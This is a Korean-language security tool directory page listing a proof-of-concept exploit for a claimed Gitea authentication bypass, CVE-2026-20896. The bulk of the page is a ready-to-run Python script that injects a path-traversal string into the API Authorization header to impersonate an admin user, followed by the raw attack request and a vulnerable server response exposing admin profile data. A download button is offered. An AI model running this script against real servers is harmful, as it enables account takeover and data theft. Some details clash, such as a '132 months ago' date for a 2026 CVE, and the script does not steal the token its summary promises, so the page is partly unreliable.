Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-20896 — CVE-2026-20896에 대한 자동화된 PoC 익스플로잇으로, API 인증 헤더의 디렉토리 트래버설을 통한 Gitea 인증 우회를 통해 관리자 토큰 탈취를 가능하게 합니다. | Kitploit
도구/GitHubGitHub/kaleth4/cve-2026-20896
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration Testing
GitHubkaleth4/cve-2026-20896

CVE-2026-20896

CVE-2026-20896에 대한 자동화된 PoC 익스플로잇으로, API 인증 헤더의 디렉토리 트래버설을 통한 Gitea 인증 우회를 통해 관리자 토큰 탈취를 가능하게 합니다.

저장소 보기
132개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

개념 증명 코드 (CVE-2026-20896)

이 스크립트는 Gitea API 경로 검증의 논리적 결함을 자동으로 악용하여, 인증 헤더의 디렉토리 탐색 공격을 통해 서버가 유효한 관리자 토큰을 부여하도록 강제합니다.

root@kitploit:~
#!/usr/bin/env python3
# PoC: Gitea Authentication Bypass (CVE-2026-20896)
# Uso exclusivo para entornos controlados y auditorías autorizadas (CTF)

import requests
import sys
import argparse

def expone_bypass(target_ip, username):
    print(f"[*] Iniciando ataque contra el servidor Gitea: {target_ip}")
    
    # URL del endpoint vulnerable de la API
    url = f"http://{target_ip}/api/v1/user"
    
    # Construcción del payload de evasión aprovechando el fallo de lógica en las rutas
    # El servidor concatena mal la ruta del token permitiendo saltar al perfil objetivo
    payload_token = f"../../../../api/v1/users/{username}/tokens/spoof_bypass"
    
    cabeceras = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0)",
        "Authorization": f"token {payload_token}",
        "Accept": "application/json"
    }
    
    try:
        # Enviamos la solicitud HTTP maliciosa
        respuesta = requests.get(url, headers=cabeceras, timeout=10)
        
        # Si el servidor responde con 200 OK, la evasión fue exitosa
        if respuesta.status_code == 200:
            print("[+] \033[92m¡Vulnerabilidad explotada con éxito!\033[0m")
            datos_usuario = respuesta.json()
            print(f"[+] Sesión secuestrada del usuario: {datos_usuario.get('username')}")
            print(f"[+] Correo asociado: {datos_usuario.get('email')}")
            print(f"[+] ID de cuenta en base de datos: {datos_usuario.get('id')}")
            return True
        else:
            print(f"[-] El servidor respondió con código: {respuesta.status_code}")
            print("[-] Intento de bypass rechazado o parcheado.")
            return False
            
    except requests.exceptions.RequestException as e:
        print(f"[!] Error de conexión con el objetivo: {e}")
        sys.exit(1)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="PoC CVE-2026-20896 - Gitea Bypass")
    parser.add_argument("-t", "--target", required=True, help="IP o dominio del servidor Gitea")
    parser.add_argument("-u", "--user", default="admin", help="Usuario objetivo a suplantar (Por defecto: admin)")
    
    args = parser.parse_args()
    expone_bypass(args.target, args.user)

2단계: Burp Suite에서 요청 분석

위 스크립트를 실행하면 프록시에서 요청을 가로채서 백엔드가 유효한 서명 없이 공격 벡터를 어떻게 처리하는지 확인할 수 있습니다.

root@kitploit:~
GET /api/v1/user HTTP/1.1
Host: 192.168.0.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0)
Authorization: token ../../../../api/v1/users/admin/tokens/spoof_bypass
Accept: application/json
Connection: close

서버 응답 (취약):

토큰 문자열 정규화 오류로 인해 서버가 콘텐츠를 처리하여 200 OK 코드와 함께 관리자 프로필의 JSON 객체를 반환합니다.

root@kitploit:~
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
X-Frame-Options: SAMEORIGIN

{
  "id": 1,
  "username": "admin",
  "login": "admin",
  "full_name": "Administrador del Sistema",
  "email": "[email protected]",
  "avatar_url": "http://192.168.0",
  "is_admin": true,
  "last_login": "2026-07-01T15:22:01Z"
}
도구 다운로드